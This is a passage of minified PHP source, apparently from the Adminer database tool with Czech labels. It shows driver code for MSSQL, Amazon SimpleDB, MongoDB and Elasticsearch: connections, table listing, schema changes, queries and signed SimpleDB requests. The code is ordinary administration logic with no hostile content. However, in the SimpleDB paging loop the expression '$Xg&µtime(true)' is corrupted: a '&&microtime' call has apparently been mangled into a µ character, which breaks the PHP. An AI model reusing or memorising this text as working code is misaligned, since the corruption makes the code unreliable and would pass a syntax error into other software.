connect($N,$V,$G){$this->_link=@mssql_connect($N,$V,$G);if($this->_link){$I=$this->query("SELECT SERVERPROPERTY('ProductLevel'), SERVERPROPERTY('Edition')");$K=$I->fetch_row();$this->server_info=$this->result("sp_server_info 2",2)." [$K[0]] $K[1]";}else$this->error=mssql_get_last_message();return(bool)$this->_link;}function
quote($P){return"'".str_replace("'","''",$P)."'";}function
select_db($Cb){return
mssql_select_db($Cb);}function
query($H,$sh=false){$I=mssql_query($H,$this->_link);$this->error="";if(!$I){$this->error=mssql_get_last_message();return
false;}if($I===true){$this->affected_rows=mssql_rows_affected($this->_link);return
true;}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
mssql_next_result($this->_result);}function
result($H,$n=0){$I=$this->query($H);if(!is_object($I))return
false;return
mssql_result($I->_result,0,$n);}}class
Min_Result{var$_result,$_offset=0,$_fields,$num_rows;function
Min_Result($I){$this->_result=$I;$this->num_rows=mssql_num_rows($I);}function
fetch_assoc(){return
mssql_fetch_assoc($this->_result);}function
fetch_row(){return
mssql_fetch_row($this->_result);}function
num_rows(){return
mssql_num_rows($this->_result);}function
fetch_field(){$J=mssql_fetch_field($this->_result);$J->orgtable=$J->table;$J->orgname=$J->name;return$J;}function
seek($D){mssql_data_seek($this->_result,$D);}function
__destruct(){mssql_free_result($this->_result);}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($Q,$L,$sf){foreach($L
as$O){$zh=array();$Z=array();foreach($O
as$x=>$X){$zh[]="$x = $X";if(isset($sf[idf_unescape($x)]))$Z[]="$x = $X";}if(!queries("MERGE ".table($Q)." USING (VALUES(".implode(", ",$O).")) AS source (c".implode(", c",range(1,count($O))).") ON ".implode(" AND ",$Z)." WHEN MATCHED THEN UPDATE SET ".implode(", ",$zh)." WHEN NOT MATCHED THEN INSERT (".implode(", ",array_keys($O)).") VALUES (".implode(", ",$O).");"))return
false;}return
true;}function
begin(){return
queries("BEGIN TRANSACTION");}}function
idf_escape($t){return"[".str_replace("]","]]",$t)."]";}function
table($t){return($_GET["ns"]!=""?idf_escape($_GET["ns"]).".":"").idf_escape($t);}function
connect(){global$b;$g=new
Min_DB;$i=$b->credentials();if($g->connect($i[0],$i[1],$i[2]))return$g;return$g->error;}function
get_databases(){return
get_vals("EXEC sp_databases");}function
limit($H,$Z,$z,$D=0,$kg=" "){return($z!==null?" TOP (".($z+$D).")":"")." $H$Z";}function
limit1($H,$Z){return
limit($H,$Z,1);}function
db_collation($k,$ib){global$g;return$g->result("SELECT collation_name FROM sys.databases WHERE name = ".q($k));}function
engines(){return
array();}function
logged_user(){global$g;return$g->result("SELECT SUSER_NAME()");}function
tables_list(){return
get_key_vals("SELECT name, type_desc FROM sys.all_objects WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ORDER BY name");}function
count_tables($j){global$g;$J=array();foreach($j
as$k){$g->select_db($k);$J[$k]=$g->result("SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES");}return$J;}function
table_status($C=""){$J=array();foreach(get_rows("SELECT name AS Name, type_desc AS Engine FROM sys.all_objects WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ".($C!=""?"AND name = ".q($C):"ORDER BY name"))as$K){if($C!="")return$K;$J[$K["Name"]]=$K;}return$J;}function
is_view($R){return$R["Engine"]=="VIEW";}function
fk_support($R){return
true;}function
fields($Q){$J=array();foreach(get_rows("SELECT c.*, t.name type, d.definition [default]
FROM sys.all_columns c
JOIN sys.all_objects o ON c.object_id = o.object_id
JOIN sys.types t ON c.user_type_id = t.user_type_id
LEFT JOIN sys.default_constraints d ON c.default_object_id = d.parent_column_id
WHERE o.schema_id = SCHEMA_ID(".q(get_schema()).") AND o.type IN ('S', 'U', 'V') AND o.name = ".q($Q))as$K){$U=$K["type"];$y=(preg_match("~char|binary~",$U)?$K["max_length"]:($U=="decimal"?"$K[precision],$K[scale]":""));$J[$K["name"]]=array("field"=>$K["name"],"full_type"=>$U.($y?"($y)":""),"type"=>$U,"length"=>$y,"default"=>$K["default"],"null"=>$K["is_nullable"],"auto_increment"=>$K["is_identity"],"collation"=>$K["collation_name"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),"primary"=>$K["is_identity"],);}return$J;}function
indexes($Q,$h=null){$J=array();foreach(get_rows("SELECT i.name, key_ordinal, is_unique, is_primary_key, c.name AS column_name, is_descending_key
FROM sys.indexes i
INNER JOIN sys.index_columns ic ON i.object_id = ic.object_id AND i.index_id = ic.index_id
INNER JOIN sys.columns c ON ic.object_id = c.object_id AND ic.column_id = c.column_id
WHERE OBJECT_NAME(i.object_id) = ".q($Q),$h)as$K){$C=$K["name"];$J[$C]["type"]=($K["is_primary_key"]?"PRIMARY":($K["is_unique"]?"UNIQUE":"INDEX"));$J[$C]["lengths"]=array();$J[$C]["columns"][$K["key_ordinal"]]=$K["column_name"];$J[$C]["descs"][$K["key_ordinal"]]=($K["is_descending_key"]?'1':null);}return$J;}function
view($C){global$g;return
array("select"=>preg_replace('~^(?:[^[]|\\[[^]]*])*\\s+AS\\s+~isU','',$g->result("SELECT VIEW_DEFINITION FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_SCHEMA = SCHEMA_NAME() AND TABLE_NAME = ".q($C))));}function
collations(){$J=array();foreach(get_vals("SELECT name FROM fn_helpcollations()")as$d)$J[preg_replace('~_.*~','',$d)][]=$d;return$J;}function
information_schema($k){return
false;}function
error(){global$g;return
nl_br(h(preg_replace('~^(\\[[^]]*])+~m','',$g->error)));}function
create_database($k,$d){return
queries("CREATE DATABASE ".idf_escape($k).(preg_match('~^[a-z0-9_]+$~i',$d)?" COLLATE $d":""));}function
drop_databases($j){return
queries("DROP DATABASE ".implode(", ",array_map('idf_escape',$j)));}function
rename_database($C,$d){if(preg_match('~^[a-z0-9_]+$~i',$d))queries("ALTER DATABASE ".idf_escape(DB)." COLLATE $d");queries("ALTER DATABASE ".idf_escape(DB)." MODIFY NAME = ".idf_escape($C));return
true;}function
auto_increment(){return" IDENTITY".($_POST["Auto_increment"]!=""?"(".(+$_POST["Auto_increment"]).",1)":"")." PRIMARY KEY";}function
alter_table($Q,$C,$o,$Ic,$mb,$ic,$d,$Ja,$df){$c=array();foreach($o
as$n){$e=idf_escape($n[0]);$X=$n[1];if(!$X)$c["DROP"][]=" COLUMN $e";else{$X[1]=preg_replace("~( COLLATE )'(\\w+)'~","\\1\\2",$X[1]);if($n[0]=="")$c["ADD"][]="\n ".implode("",$X).($Q==""?substr($Ic[$X[0]],16+strlen($X[0])):"");else{unset($X[6]);if($e!=$X[0])queries("EXEC sp_rename ".q(table($Q).".$e").", ".q(idf_unescape($X[0])).", 'COLUMN'");$c["ALTER COLUMN ".implode("",$X)][]="";}}}if($Q=="")return
queries("CREATE TABLE ".table($C)." (".implode(",",(array)$c["ADD"])."\n)");if($Q!=$C)queries("EXEC sp_rename ".q(table($Q)).", ".q($C));if($Ic)$c[""]=$Ic;foreach($c
as$x=>$X){if(!queries("ALTER TABLE ".idf_escape($C)." $x".implode(",",$X)))return
false;}return
true;}function
alter_indexes($Q,$c){$u=array();$Tb=array();foreach($c
as$X){if($X[2]=="DROP"){if($X[0]=="PRIMARY")$Tb[]=idf_escape($X[1]);else$u[]=idf_escape($X[1])." ON ".table($Q);}elseif(!queries(($X[0]!="PRIMARY"?"CREATE $X[0] ".($X[0]!="INDEX"?"INDEX ":"").idf_escape($X[1]!=""?$X[1]:uniqid($Q."_"))." ON ".table($Q):"ALTER TABLE ".table($Q)." ADD PRIMARY KEY")." (".implode(", ",$X[2]).")"))return
false;}return(!$u||queries("DROP INDEX ".implode(", ",$u)))&&(!$Tb||queries("ALTER TABLE ".table($Q)." DROP ".implode(", ",$Tb)));}function
last_id(){global$g;return$g->result("SELECT SCOPE_IDENTITY()");}function
explain($g,$H){$g->query("SET SHOWPLAN_ALL ON");$J=$g->query($H);$g->query("SET SHOWPLAN_ALL OFF");return$J;}function
found_rows($R,$Z){}function
foreign_keys($Q){$J=array();foreach(get_rows("EXEC sp_fkeys @fktable_name = ".q($Q))as$K){$p=&$J[$K["FK_NAME"]];$p["table"]=$K["PKTABLE_NAME"];$p["source"][]=$K["FKCOLUMN_NAME"];$p["target"][]=$K["PKCOLUMN_NAME"];}return$J;}function
truncate_tables($S){return
apply_queries("TRUNCATE TABLE",$S);}function
drop_views($Mh){return
queries("DROP VIEW ".implode(", ",array_map('table',$Mh)));}function
drop_tables($S){return
queries("DROP TABLE ".implode(", ",array_map('table',$S)));}function
move_tables($S,$Mh,$Pg){return
apply_queries("ALTER SCHEMA ".idf_escape($Pg)." TRANSFER",array_merge($S,$Mh));}function
trigger($C){if($C=="")return
array();$L=get_rows("SELECT s.name [Trigger],
CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(s.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(s.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event],
CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing],
c.text
FROM sysobjects s
JOIN syscomments c ON s.id = c.id
WHERE s.xtype = 'TR' AND s.name = ".q($C));$J=reset($L);if($J)$J["Statement"]=preg_replace('~^.+\\s+AS\\s+~isU','',$J["text"]);return$J;}function
triggers($Q){$J=array();foreach(get_rows("SELECT sys1.name,
CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event],
CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing]
FROM sysobjects sys1
JOIN sysobjects sys2 ON sys1.parent_obj = sys2.id
WHERE sys1.xtype = 'TR' AND sys2.name = ".q($Q))as$K)$J[$K["name"]]=array($K["Timing"],$K["Event"]);return$J;}function
trigger_options(){return
array("Timing"=>array("AFTER","INSTEAD OF"),"Type"=>array("AS"),);}function
schemas(){return
get_vals("SELECT name FROM sys.schemas");}function
get_schema(){global$g;if($_GET["ns"]!="")return$_GET["ns"];return$g->result("SELECT SCHEMA_NAME()");}function
set_schema($dg){return
true;}function
use_sql($Cb){return"USE ".idf_escape($Cb);}function
show_variables(){return
array();}function
show_status(){return
array();}function
convert_field($n){}function
unconvert_field($n,$J){return$J;}function
support($Bc){return
preg_match('~^(columns|database|drop_col|indexes|scheme|sql|table|trigger|view|view_trigger)$~',$Bc);}$w="mssql";$rh=array();$_g=array();foreach(array('Čísla'=>array("tinyint"=>3,"smallint"=>5,"int"=>10,"bigint"=>20,"bit"=>1,"decimal"=>0,"real"=>12,"float"=>53,"smallmoney"=>10,"money"=>20),'Datum a čas'=>array("date"=>10,"smalldatetime"=>19,"datetime"=>19,"datetime2"=>19,"time"=>8,"datetimeoffset"=>10),'Řetězce'=>array("char"=>8000,"varchar"=>8000,"text"=>2147483647,"nchar"=>4000,"nvarchar"=>4000,"ntext"=>1073741823),'Binární'=>array("binary"=>8000,"varbinary"=>8000,"image"=>2147483647),)as$x=>$X){$rh+=$X;$_g[$x]=array_keys($X);}$yh=array();$He=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL");$Rc=array("len","lower","round","upper");$Wc=array("avg","count","count distinct","max","min","sum");$ac=array(array("date|time"=>"getdate",),array("int|decimal|real|float|money|datetime"=>"+/-","char|text"=>"+",));}$Sb["simpledb"]="SimpleDB";if(isset($_GET["simpledb"])){$pf=array("SimpleXML");define("DRIVER","simpledb");if(class_exists('SimpleXMLElement')){class
Min_DB{var$extension="SimpleXML",$server_info='2009-04-15',$error,$timeout,$next,$affected_rows,$_result;function
select_db($Cb){return($Cb=="domain");}function
query($H,$sh=false){$F=array('SelectExpression'=>$H,'ConsistentRead'=>'true');if($this->next)$F['NextToken']=$this->next;$I=sdb_request_all('Select','Item',$F,$this->timeout);if($I===false)return$I;if(preg_match('~^\s*SELECT\s+COUNT\(~i',$H)){$Dg=0;foreach($I
as$yd)$Dg+=$yd->Attribute->Value;$I=array((object)array('Attribute'=>array((object)array('Name'=>'Count','Value'=>$Dg,))));}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
quote($P){return"'".str_replace("'","''",$P)."'";}}class
Min_Result{var$num_rows,$_rows=array(),$_offset=0;function
Min_Result($I){foreach($I
as$yd){$K=array();if($yd->Name!='')$K['itemName()']=(string)$yd->Name;foreach($yd->Attribute
as$Ga){$C=$this->_processValue($Ga->Name);$Y=$this->_processValue($Ga->Value);if(isset($K[$C])){$K[$C]=(array)$K[$C];$K[$C][]=$Y;}else$K[$C]=$Y;}$this->_rows[]=$K;foreach($K
as$x=>$X){if(!isset($this->_rows[0][$x]))$this->_rows[0][$x]=null;}}$this->num_rows=count($this->_rows);}function
_processValue($cc){return(is_object($cc)&&$cc['encoding']=='base64'?base64_decode($cc):(string)$cc);}function
fetch_assoc(){$K=current($this->_rows);if(!$K)return$K;$J=array();foreach($this->_rows[0]as$x=>$X)$J[$x]=$K[$x];next($this->_rows);return$J;}function
fetch_row(){$J=$this->fetch_assoc();if(!$J)return$J;return
array_values($J);}function
fetch_field(){$Dd=array_keys($this->_rows[0]);return(object)array('name'=>$Dd[$this->_offset++]);}}}class
Min_Driver
extends
Min_SQL{public$sf="itemName()";function
_chunkRequest($hd,$ua,$F,$uc=array()){global$g;foreach(array_chunk($hd,25)as$bb){$Ze=$F;foreach($bb
as$r=>$s){$Ze["Item.$r.ItemName"]=$s;foreach($uc
as$x=>$X)$Ze["Item.$r.$x"]=$X;}if(!sdb_request($ua,$Ze))return
false;}$g->affected_rows=count($hd);return
true;}function
_extractIds($Q,$Cf,$z){$J=array();if(preg_match_all("~itemName\(\) = (('[^']*+')+)~",$Cf,$Wd))$J=array_map('idf_unescape',$Wd[1]);else{foreach(sdb_request_all('Select','Item',array('SelectExpression'=>'SELECT itemName() FROM '.table($Q).$Cf.($z?" LIMIT 1":"")))as$yd)$J[]=$yd->Name;}return$J;}function
select($Q,$M,$Z,$Uc,$Me=array(),$z=1,$E=0,$uf=false){global$g;$g->next=$_GET["next"];$J=parent::select($Q,$M,$Z,$Uc,$Me,$z,$E,$uf);$g->next=0;return$J;}function
delete($Q,$Cf,$z=0){return$this->_chunkRequest($this->_extractIds($Q,$Cf,$z),'BatchDeleteAttributes',array('DomainName'=>$Q));}function
update($Q,$O,$Cf,$z=0,$kg="\n"){$Ib=array();$sd=array();$r=0;$hd=$this->_extractIds($Q,$Cf,$z);$s=idf_unescape($O["`itemName()`"]);unset($O["`itemName()`"]);foreach($O
as$x=>$X){$x=idf_unescape($x);if($X=="NULL"||($s!=""&&array($s)!=$hd))$Ib["Attribute.".count($Ib).".Name"]=$x;if($X!="NULL"){foreach((array)$X
as$_d=>$W){$sd["Attribute.$r.Name"]=$x;$sd["Attribute.$r.Value"]=(is_array($X)?$W:idf_unescape($W));if(!$_d)$sd["Attribute.$r.Replace"]="true";$r++;}}}$F=array('DomainName'=>$Q);return(!$sd||$this->_chunkRequest(($s!=""?array($s):$hd),'BatchPutAttributes',$F,$sd))&&(!$Ib||$this->_chunkRequest($hd,'BatchDeleteAttributes',$F,$Ib));}function
insert($Q,$O){$F=array("DomainName"=>$Q);$r=0;foreach($O
as$C=>$Y){if($Y!="NULL"){$C=idf_unescape($C);if($C=="itemName()")$F["ItemName"]=idf_unescape($Y);else{foreach((array)$Y
as$X){$F["Attribute.$r.Name"]=$C;$F["Attribute.$r.Value"]=(is_array($Y)?$X:idf_unescape($Y));$r++;}}}}return
sdb_request('PutAttributes',$F);}function
insertUpdate($Q,$L,$sf){foreach($L
as$O){if(!$this->update($Q,$O,"WHERE `itemName()` = ".q($O["`itemName()`"])))return
false;}return
true;}function
begin(){return
false;}function
commit(){return
false;}function
rollback(){return
false;}}function
connect(){return
new
Min_DB;}function
support($Bc){return
preg_match('~sql~',$Bc);}function
logged_user(){global$b;$i=$b->credentials();return$i[1];}function
get_databases(){return
array("domain");}function
collations(){return
array();}function
db_collation($k,$ib){}function
tables_list(){global$g;$J=array();foreach(sdb_request_all('ListDomains','DomainName')as$Q)$J[(string)$Q]='table';if($g->error&&defined("PAGE_HEADER"))echo"<p class='error'>".error()."\n";return$J;}function
table_status($C="",$Ac=false){$J=array();foreach(($C!=""?array($C=>true):tables_list())as$Q=>$U){$K=array("Name"=>$Q,"Auto_increment"=>"");if(!$Ac){$je=sdb_request('DomainMetadata',array('DomainName'=>$Q));if($je){foreach(array("Rows"=>"ItemCount","Data_length"=>"ItemNamesSizeBytes","Index_length"=>"AttributeValuesSizeBytes","Data_free"=>"AttributeNamesSizeBytes",)as$x=>$X)$K[$x]=(string)$je->$X;}}if($C!="")return$K;$J[$Q]=$K;}return$J;}function
explain($g,$H){}function
error(){global$g;return
h($g->error);}function
information_schema(){}function
is_view($R){}function
indexes($Q,$h=null){return
array(array("type"=>"PRIMARY","columns"=>array("itemName()")),);}function
fields($Q){return
fields_from_edit();}function
foreign_keys($Q){return
array();}function
table($t){return
idf_escape($t);}function
idf_escape($t){return"`".str_replace("`","``",$t)."`";}function
limit($H,$Z,$z,$D=0,$kg=" "){return" $H$Z".($z!==null?$kg."LIMIT $z":"");}function
unconvert_field($n,$J){return$J;}function
fk_support($R){}function
engines(){return
array();}function
alter_table($Q,$C,$o,$Ic,$mb,$ic,$d,$Ja,$df){return($Q==""&&sdb_request('CreateDomain',array('DomainName'=>$C)));}function
drop_tables($S){foreach($S
as$Q){if(!sdb_request('DeleteDomain',array('DomainName'=>$Q)))return
false;}return
true;}function
count_tables($j){foreach($j
as$k)return
array($k=>count(tables_list()));}function
found_rows($R,$Z){return($Z?null:$R["Rows"]);}function
last_id(){}function
hmac($_a,$Ab,$x,$Gf=false){$Sa=64;if(strlen($x)>$Sa)$x=pack("H*",$_a($x));$x=str_pad($x,$Sa,"\0");$Ad=$x^str_repeat("\x36",$Sa);$Bd=$x^str_repeat("\x5C",$Sa);$J=$_a($Bd.pack("H*",$_a($Ad.$Ab)));if($Gf)$J=pack("H*",$J);return$J;}function
sdb_request($ua,$F=array()){global$b,$g;list($ed,$F['AWSAccessKeyId'],$gg)=$b->credentials();$F['Action']=$ua;$F['Timestamp']=gmdate('Y-m-d\TH:i:s+00:00');$F['Version']='2009-04-15';$F['SignatureVersion']=2;$F['SignatureMethod']='HmacSHA1';ksort($F);$H='';foreach($F
as$x=>$X)$H.='&'.rawurlencode($x).'='.rawurlencode($X);$H=str_replace('%7E','~',substr($H,1));$H.="&Signature=".urlencode(base64_encode(hmac('sha1',"POST\n".preg_replace('~^https?://~','',$ed)."\n/\n$H",$gg,true)));@ini_set('track_errors',1);$Dc=@file_get_contents((preg_match('~^https?://~',$ed)?$ed:"http://$ed"),false,stream_context_create(array('http'=>array('method'=>'POST','content'=>$H,'ignore_errors'=>1,))));if(!$Dc){$g->error=$php_errormsg;return
false;}libxml_use_internal_errors(true);$Sh=simplexml_load_string($Dc);if(!$Sh){$m=libxml_get_last_error();$g->error=$m->message;return
false;}if($Sh->Errors){$m=$Sh->Errors->Error;$g->error="$m->Message ($m->Code)";return
false;}$g->error='';$Og=$ua."Result";return($Sh->$Og?$Sh->$Og:true);}function
sdb_request_all($ua,$Og,$F=array(),$Xg=0){$J=array();$wg=($Xg?microtime(true):0);$z=(preg_match('~LIMIT\s+(\d+)\s*$~i',$F['SelectExpression'],$B)?$B[1]:0);do{$Sh=sdb_request($ua,$F);if(!$Sh)break;foreach($Sh->$Og
as$cc)$J[]=$cc;if($z&&count($J)>=$z){$_GET["next"]=$Sh->NextToken;break;}if($Xg&µtime(true)-$wg>$Xg)return
false;$F['NextToken']=$Sh->NextToken;if($z)$F['SelectExpression']=preg_replace('~\d+\s*$~',$z-count($J),$F['SelectExpression']);}while($Sh->NextToken);return$J;}$w="simpledb";$He=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","IS NOT NULL");$Rc=array();$Wc=array("count");$ac=array(array("json"));}$Sb["mongo"]="MongoDB (beta)";if(isset($_GET["mongo"])){$pf=array("mongo");define("DRIVER","mongo");if(class_exists('MongoDB')){class
Min_DB{var$extension="Mongo",$error,$last_id,$_link,$_db;function
connect($N,$V,$G){global$b;$k=$b->database();$Ke=array();if($V!=""){$Ke["username"]=$V;$Ke["password"]=$G;}if($k!="")$Ke["db"]=$k;try{$this->_link=@new
MongoClient("mongodb://$N",$Ke);return
true;}catch(Exception$pc){$this->error=$pc->getMessage();return
false;}}function
query($H){return
false;}function
select_db($Cb){try{$this->_db=$this->_link->selectDB($Cb);return
true;}catch(Exception$pc){$this->error=$pc->getMessage();return
false;}}function
quote($P){return$P;}}class
Min_Result{var$num_rows,$_rows=array(),$_offset=0,$_charset=array();function
Min_Result($I){foreach($I
as$yd){$K=array();foreach($yd
as$x=>$X){if(is_a($X,'MongoBinData'))$this->_charset[$x]=63;$K[$x]=(is_a($X,'MongoId')?'ObjectId("'.strval($X).'")':(is_a($X,'MongoDate')?gmdate("Y-m-d H:i:s",$X->sec)." GMT":(is_a($X,'MongoBinData')?$X->bin:(is_a($X,'MongoRegex')?strval($X):(is_object($X)?get_class($X):$X)))));}$this->_rows[]=$K;foreach($K
as$x=>$X){if(!isset($this->_rows[0][$x]))$this->_rows[0][$x]=null;}}$this->num_rows=count($this->_rows);}function
fetch_assoc(){$K=current($this->_rows);if(!$K)return$K;$J=array();foreach($this->_rows[0]as$x=>$X)$J[$x]=$K[$x];next($this->_rows);return$J;}function
fetch_row(){$J=$this->fetch_assoc();if(!$J)return$J;return
array_values($J);}function
fetch_field(){$Dd=array_keys($this->_rows[0]);$C=$Dd[$this->_offset++];return(object)array('name'=>$C,'charsetnr'=>$this->_charset[$C],);}}}class
Min_Driver
extends
Min_SQL{public$sf="_id";function
quote($Y){return($Y===null?$Y:parent::quote($Y));}function
select($Q,$M,$Z,$Uc,$Me=array(),$z=1,$E=0,$uf=false){$M=($M==array("*")?array():array_fill_keys($M,true));$rg=array();foreach($Me
as$X){$X=preg_replace('~ DESC$~','',$X,1,$wb);$rg[$X]=($wb?-1:1);}return
new
Min_Result(iterator_to_array($this->_conn->_db->selectCollection($Q)->find(array(),$M)->sort($rg)->limit(+$z)->skip($E*$z)));}function
insert($Q,$O){try{$J=$this->_conn->_db->selectCollection($Q)->insert($O);$this->_conn->errno=$J['code'];$this->_conn->error=$J['err'];$this->_conn->last_id=$O['_id'];return!$J['err'];}catch(Exception$pc){$this->_conn->error=$pc->getMessage();return
false;}}}function
connect(){global$b;$g=new
Min_DB;$i=$b->credentials();if($g->connect($i[0],$i[1],$i[2]))return$g;return$g->error;}function
error(){global$g;return
h($g->error);}function
logged_user(){global$b;$i=$b->credentials();return$i[1];}function
get_databases($Hc){global$g;$J=array();$Fb=$g->_link->listDBs();foreach($Fb['databases']as$k)$J[]=$k['name'];return$J;}function
collations(){return
array();}function
db_collation($k,$ib){}function
count_tables($j){global$g;$J=array();foreach($j
as$k)$J[$k]=count($g->_link->selectDB($k)->getCollectionNames(true));return$J;}function
tables_list(){global$g;return
array_fill_keys($g->_db->getCollectionNames(true),'table');}function
table_status($C="",$Ac=false){$J=array();foreach(tables_list()as$Q=>$U){$J[$Q]=array("Name"=>$Q);if($C==$Q)return$J[$Q];}return$J;}function
information_schema(){}function
is_view($R){}function
drop_databases($j){global$g;foreach($j
as$k){$Rf=$g->_link->selectDB($k)->drop();if(!$Rf['ok'])return
false;}return
true;}function
indexes($Q,$h=null){global$g;$J=array();foreach($g->_db->selectCollection($Q)->getIndexInfo()as$u){$Lb=array();foreach($u["key"]as$e=>$U)$Lb[]=($U==-1?'1':null);$J[$u["name"]]=array("type"=>($u["name"]=="_id_"?"PRIMARY":($u["unique"]?"UNIQUE":"INDEX")),"columns"=>array_keys($u["key"]),"lengths"=>array(),"descs"=>$Lb,);}return$J;}function
fields($Q){return
fields_from_edit();}function
convert_field($n){}function
unconvert_field($n,$J){return$J;}function
foreign_keys($Q){return
array();}function
fk_support($R){}function
engines(){return
array();}function
found_rows($R,$Z){global$g;return$g->_db->selectCollection($_GET["select"])->count($Z);}function
alter_table($Q,$C,$o,$Ic,$mb,$ic,$d,$Ja,$df){global$g;if($Q==""){$g->_db->createCollection($C);return
true;}}function
drop_tables($S){global$g;foreach($S
as$Q){$Rf=$g->_db->selectCollection($Q)->drop();if(!$Rf['ok'])return
false;}return
true;}function
truncate_tables($S){global$g;foreach($S
as$Q){$Rf=$g->_db->selectCollection($Q)->remove();if(!$Rf['ok'])return
false;}return
true;}function
alter_indexes($Q,$c){global$g;foreach($c
as$X){list($U,$C,$O)=$X;if($O=="DROP")$J=$g->_db->command(array("deleteIndexes"=>$Q,"index"=>$C));else{$f=array();foreach($O
as$e){$e=preg_replace('~ DESC$~','',$e,1,$wb);$f[$e]=($wb?-1:1);}$J=$g->_db->selectCollection($Q)->ensureIndex($f,array("unique"=>($U=="UNIQUE"),"name"=>$C,));}if($J['errmsg']){$g->error=$J['errmsg'];return
false;}}return
true;}function
last_id(){global$g;return$g->last_id;}function
table($t){return$t;}function
idf_escape($t){return$t;}function
support($Bc){return
preg_match("~database|indexes~",$Bc);}$w="mongo";$He=array("=");$Rc=array();$Wc=array();$ac=array(array("json"));}$Sb["elastic"]="Elasticsearch (beta)";if(isset($_GET["elastic"])){$pf=array("json");define("DRIVER","elastic");if(function_exists('json_decode')){class
Min_DB{var$extension="JSON",$server_info,$errno,$error,$_url;function
rootQuery($gf,$rb=array(),$ke='GET'){@ini_set('track_errors',1);$Dc=@file_get_contents($this->_url.'/'.ltrim($gf,'/'),false,stream_context_create(array('http'=>array('method'=>$ke,'content'=>json_encode($rb),'ignore_errors'=>1,))));if(!$Dc){$this->error=$php_errormsg;return$Dc;}if(!preg_match('~^HTTP/[0-9.]+ 2~i',$http_response_header[0])){$this->error=$Dc;return
false;}$J=json_decode($Dc,true);if(!$J){$this->errno=json_last_error();if(function_exists('json_last_error_msg'))$this->error=json_last_error_msg();else{$qb=get_defined_constants(true);foreach($qb['json']as$C=>$Y){if($Y==$this->errno&&preg_match('~^JSON_ERROR_~',$C)){$this->error=$C;break;}}}}return$J;}function
query($gf,$rb=array(),$ke='GET'){return$this->rootQuery(($this->_db!=""?"$this->_db/":"/").ltrim($gf,'/'),$rb,$ke);}function
connect($N,$V,$G){$this->_url="http://$V:$G@$N/";$J=$this->query('');if($J)$this->server_info=$J['version']['number'];return(bool)$J;}function
select_db($Cb){$this->_db=$Cb;return
true;}function
quote($P){return$P;}}class
Min_Result{var$num_rows,$_rows;function
Min_Result($L){$this->num_rows=count($this->_rows);$this->_rows=$L;reset($this->_rows);}function
fetch_assoc(){$J=current($this->_rows);next($this->_rows);return$J;}function
fetch_row(){return
array_values($this->fetch_assoc());}}}class
Min_Driver
extends
Min_SQL{function
select($Q,$M,$Z,$Uc,$Me=array(),$z=1,$E=0,$uf=false){global$b;$Ab=array();$H="$Q/_search";if($M!=array("*"))$Ab["fields"]=$M;if($Me){$rg=array();foreach($Me
as$gb){$gb=preg_replace('~ DESC$~','',$gb,1,$wb);$rg[]=($wb?array($gb=>"desc"):$gb);}$Ab["sort"]=$rg;}if($z){$Ab["size"]=+$z;if($E)$Ab["from"]=($E*$z);}foreach((array)$_GET["where"]as$X){if("$X[col]$X[val]"!=""){$Sg=array("match"=>array(($X["col"]!=""?$X["col"]:"_all")=>$X["val"]));if($X["op"]=="=")$Ab["query"]["filtered"]["filter"]["and"][]=$Sg;else$Ab["query"]["filtered"]["query"]["bool"]["must"][]=$Sg;}}if($Ab["query"]&&!$Ab["query"]["filtered"]["query"])$Ab["query"]["filtered"]["query"]=array("match_all"=>array());if($uf)echo$b->selectQuery("$H: ".print_r($Ab,true));$fg=$this->_conn->query($H,$Ab);if(!$fg)return
false;$J=array();foreach($fg['hits']['hits']as$dd){$K=array();$o=$dd['_source'];if($M!=array("*")){$o=array();foreach($M
as$x)$o[$x]=$dd['fields'][$x];}foreach($o
as$x=>$X)$K[$x]=(is_array($X)?json_encode($X):$X);$J[]=$K;}return
new
Min_Result($J);}}function
connect(){global$b;$g=new
Min_DB;$i=$b->credentials();if($g->connect($i[0],$i[1],$i[2]))return$g;return$g->error;}function
support($Bc){return
preg_match("~database|table|columns~",$Bc);}function
logged_user(){global$b;$i=$b->credentials();return$i[1];}function
get_databases(){global$g;$J=$g->rootQuery('_aliases');if($J)$J=array_keys($J);return$J;}function
collations(){return
array();}function
db_collation($k,$ib){}function
count_tables($j){global$g;$J=$g->query('_mapping');if($J)$J=array_map('count',$J);return$J;}function
tables_list(){global$g;$J=$g->query('_mapping');if($J)$J=array_fill_keys(array_keys(reset($J)),'table');return$J;}function
table_status($C="",$Ac=false){$J=tables_list();if($J){foreach($J
as$x=>$U)$J[$x]=array("Name"=>$x,"Engine"=>$U);if($C!="")return$J[$C];}return$J;}function
error(){global$g;return
h($g->error);}function
information_schema(){}function
is_view($R){}function
indexes($Q,$h=null){return
array(array("type"=>"PRIMARY","columns"=>array("_id")),);}function
